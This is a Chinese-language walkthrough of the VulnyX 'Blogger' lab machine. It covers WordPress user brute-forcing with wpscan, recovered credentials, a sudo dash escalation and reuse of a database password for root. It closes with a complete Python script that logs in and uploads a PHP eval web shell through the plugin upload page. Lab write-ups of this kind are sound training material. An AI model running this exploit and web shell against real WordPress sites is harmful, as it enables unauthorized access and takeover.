vulnyx Blogger writeup
信息收集
arp-scan
nmap
获取userFlag
上web看看
一个默认的页面,gobuster扫一下目录
可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到
这里就说明我们需要设置hosts,需要在hosts文件中添加以下条目:
192.168.43.213 megablog.nyx
然后访问wp-login.php
这里就是admin后台了,接下来的思路就是通过wpscan枚举并爆破用户,看看能不能有结果
wpscan --api-token apikey --url http://megablog.nyx/wordpress -e u -P 字典文件
成功跑出来了一个用户
peter:peterpan
然后就可以登录到后台了,这里先去翻一下wpscan前面扫出来的漏洞
在其中发现了该wordpress存在这样一个文件上传漏洞,这个漏洞简单的来说就是可以以具有admin权限的用户,利用插件安装模块的文件上传点直接上传php文件,具体步骤如下:
这里就可以直接上传php文件了,上传之后到Media模块中可以看到上传的php文件,然后点进去即可copy url
然后后面就是熟悉的反弹shell了
上来之后发现是www-data用户,而且没有权限看blog用户的家目录,那下面的思路就是要提权到blog,sudo -l看一下
可以以blog身份无密码执行dash,tldr看一下dash的使用示例
这里发现可以通过-c选项执行系统命令,所以可以直接通过它拿到blog的shell
sudo -u blog dash -c '/bin/bash'
然后到blog的家目录下就可以拿到userflag
userflag:507ed5c488064e5ae9d2007dd2b50b53
获取rootFlag
拿到blog后sudo -l发现该用户并没有被授予sudo权限,然后在/tmp和/opt中也没有找到有价值的东西,之后通过ss -lnpt发现该服务器上运行了mysql
所以下一步打算去mysql中看看,想要登录mysql需要找到mysql的账密,这个一般配置在当前网站根目录中的配置文件中,如config.php,所以可以通过find命令直接查找文件名包含config的文件。然后自然的就像切到/var/www/html下,发现blog并没有访问权限,所以回退到www-data用户,然后在进到web根目录下,通过find查找:
find ./wordpress -name *config* 2>/dev/null
cat一下这个文件
在这里找到了配置的用户名和密码,但发现它的用户名是root,所以尝试使用此密码登录root
成功拿到root shell,然后去/root中即可获得rootflag
rootflag:1a1096b5c68cbefc74290f70d7ccb696
写在最后
web那块wordpress可以通过whatweb探测出大概的版本
wordpress < 6.4.3 admin+ PHP File Upload 的python利用脚本
# 利用漏洞 wordpress < 6.4.3 admin+ PHP file upload
import requests, time, sys, re# 初始化
url = 'http://192.168.43.213/wordpress'
url_login = f'{url}/wp-login.php' # 登录页面
url_admin = f'{url}/wp-admin/plugins.php' # 验证是否获取到登录后的cookie
url_wpnonce = f'{url}/wp-admin/plugin-install.php?tab=upload' # 在上传页面获取上传专用的wordpress安全令牌,上传时没有该字段会失败
url_upload = f'{url}/wp-admin/update.php?action=upload-plugin' # php upload页面
url_check = f'{url}/wp-admin/upload.php?mode=grid' # 查看上传文件
payload = '<?php eval($_REQUEST[1]);?>' # 要上传的php代码
login_username = 'peter' # 后台用户名
login_password = 'peterpan' # 密码# 要携带的请求头
headers = {# 'Host':'megablog.nyx', # 模拟dns解析'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0','Cookie':'wordpress_test_cookie=1' # 值无所谓,但必须要有这个字段,否则登录会失败
}# 设置代理,便于调试
proxies = {'http':'http://192.168.43.6:8080'
}# 用户登录的表单
login_data = {'log':login_username,'pwd':login_password,'rememberme':'forever','wp-submit':'Log In','redirect_to':'http://megablog.nyx/wordpress/wp-admin/','testcookie':1
}# 登录函数
def checkLogin():print('''
===============执行登录模块
===============''')time.sleep(0.5)# 登录res = requests.post(url_login, headers=headers, data=login_data, proxies=proxies, allow_redirects=False)if res.status_code != 302:sys.exit('登录失败')print('>>登录成功<<')set_cookie = res.headers['Set-Cookie']cookies = ''.join(re.findall(r'wordpress_.+?;', set_cookie))headers['Cookie'] = cookies # 将获得的cookie更新到headers中去# 验证是否进入admin页面res = requests.get(url_admin, headers=headers, proxies=proxies)if 'dashboard' in res.text.lower():print('>>成功进入admin页面<<')# 获取nonce值(wordpress安全令牌),上传时没有该字段会失败res = requests.get(url_wpnonce, headers=headers, proxies=proxies)wpnonce = re.findall(r'(?<="_wpnonce" value=")\w+(?=")', res.text)[0]print(f'成功获取wpnonce:{wpnonce}')return wpnonce# PHP文件上传
def phpUpload(wpnonce):print('''
===============执行上传模块
===============''')time.sleep(0.5)files = {'_wpnonce':(None, wpnonce, None),'pluginzip':('shell1.php', payload, 'application/octet-stream')}res = requests.post(url_upload, headers=headers, proxies=proxies, files=files)if res.status_code == 200:print('>>上传成功<<')sys.exit(f'查看上传的文件:{url_check}')if __name__ == '__main__':wpnonce = checkLogin()phpUpload(wpnonce)
相关文章:

vulnyx Blogger writeup
信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面,gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...

基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...

【JVM面试篇】高频八股汇总——类加载和类加载器
目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...

push [特殊字符] present
push 🆚 present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中,push 和 present 是两种不同的视图控制器切换方式,它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...
虚拟电厂发展三大趋势:市场化、技术主导、车网互联
市场化:从政策驱动到多元盈利 政策全面赋能 2025年4月,国家发改委、能源局发布《关于加快推进虚拟电厂发展的指导意见》,首次明确虚拟电厂为“独立市场主体”,提出硬性目标:2027年全国调节能力≥2000万千瓦࿰…...

LLMs 系列实操科普(1)
写在前面: 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容,原视频时长 ~130 分钟,以实操演示主流的一些 LLMs 的使用,由于涉及到实操,实际上并不适合以文字整理,但还是决定尽量整理一份笔…...

RabbitMQ入门4.1.0版本(基于java、SpringBoot操作)
RabbitMQ 一、RabbitMQ概述 RabbitMQ RabbitMQ最初由LShift和CohesiveFT于2007年开发,后来由Pivotal Software Inc.(现为VMware子公司)接管。RabbitMQ 是一个开源的消息代理和队列服务器,用 Erlang 语言编写。广泛应用于各种分布…...

DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...

[免费]微信小程序问卷调查系统(SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】
大家好,我是java1234_小锋老师,看到一个不错的微信小程序问卷调查系统(SpringBoot后端Vue管理端)【论文源码SQL脚本】,分享下哈。 项目视频演示 【免费】微信小程序问卷调查系统(SpringBoot后端Vue管理端) Java毕业设计_哔哩哔哩_bilibili 项…...

Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...

华为OD机考-机房布局
import java.util.*;public class DemoTest5 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseSystem.out.println(solve(in.nextLine()));}}priv…...

莫兰迪高级灰总结计划简约商务通用PPT模版
莫兰迪高级灰总结计划简约商务通用PPT模版,莫兰迪调色板清新简约工作汇报PPT模版,莫兰迪时尚风极简设计PPT模版,大学生毕业论文答辩PPT模版,莫兰迪配色总结计划简约商务通用PPT模版,莫兰迪商务汇报PPT模版,…...

力扣热题100 k个一组反转链表题解
题目: 代码: func reverseKGroup(head *ListNode, k int) *ListNode {cur : headfor i : 0; i < k; i {if cur nil {return head}cur cur.Next}newHead : reverse(head, cur)head.Next reverseKGroup(cur, k)return newHead }func reverse(start, end *ListNode) *ListN…...
JS手写代码篇----使用Promise封装AJAX请求
15、使用Promise封装AJAX请求 promise就有reject和resolve了,就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...
08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险
C#入门系列【类的基本概念】:开启编程世界的奇妙冒险 嘿,各位编程小白探险家!欢迎来到 C# 的奇幻大陆!今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类!别害怕,跟着我,保准让你轻松搞…...

如何更改默认 Crontab 编辑器 ?
在 Linux 领域中,crontab 是您可能经常遇到的一个术语。这个实用程序在类 unix 操作系统上可用,用于调度在预定义时间和间隔自动执行的任务。这对管理员和高级用户非常有益,允许他们自动执行各种系统任务。 编辑 Crontab 文件通常使用文本编…...

2025年渗透测试面试题总结-腾讯[实习]科恩实验室-安全工程师(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。 目录 腾讯[实习]科恩实验室-安全工程师 一、网络与协议 1. TCP三次握手 2. SYN扫描原理 3. HTTPS证书机制 二…...

uniapp手机号一键登录保姆级教程(包含前端和后端)
目录 前置条件创建uniapp项目并关联uniClound云空间开启一键登录模块并开通一键登录服务编写云函数并上传部署获取手机号流程(第一种) 前端直接调用云函数获取手机号(第三种)后台调用云函数获取手机号 错误码常见问题 前置条件 手机安装有sim卡手机开启…...
JavaScript 数据类型详解
JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型(Primitive) 和 对象类型(Object) 两大类,共 8 种(ES11): 一、原始类型(7种) 1. undefined 定…...

【Linux】Linux 系统默认的目录及作用说明
博主介绍:✌全网粉丝23W,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…...

RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill
视觉语言模型(Vision-Language Models, VLMs),为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展,机器人仍难以胜任复杂的长时程任务(如家具装配),主要受限于人…...

搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1)准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2)服务端安装软件:bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...
【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制
使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下,限制某个 IP 的访问频率是非常重要的,可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案,使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...
腾讯云V3签名
想要接入腾讯云的Api,必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口,但总是卡在签名这一步,最后放弃选择SDK,这次终于自己代码实现。 可能腾讯云翻新了接口文档,现在阅读起来,清晰了很多&…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时,性能会显著下降。以下是优化思路和简易实现方法: 一、核心优化思路 减少 JOIN 数量 数据冗余:添加必要的冗余字段(如订单表直接存储用户名)合并表:将频繁关联的小表合并成…...

mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
C++课设:简易日历程序(支持传统节假日 + 二十四节气 + 个人纪念日管理)
名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 专栏介绍:《编程项目实战》 目录 一、为什么要开发一个日历程序?1. 深入理解时间算法2. 练习面向对象设计3. 学习数据结构应用二、核心算法深度解析…...

【C++进阶篇】智能指针
C内存管理终极指南:智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...
CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝
目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为:一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...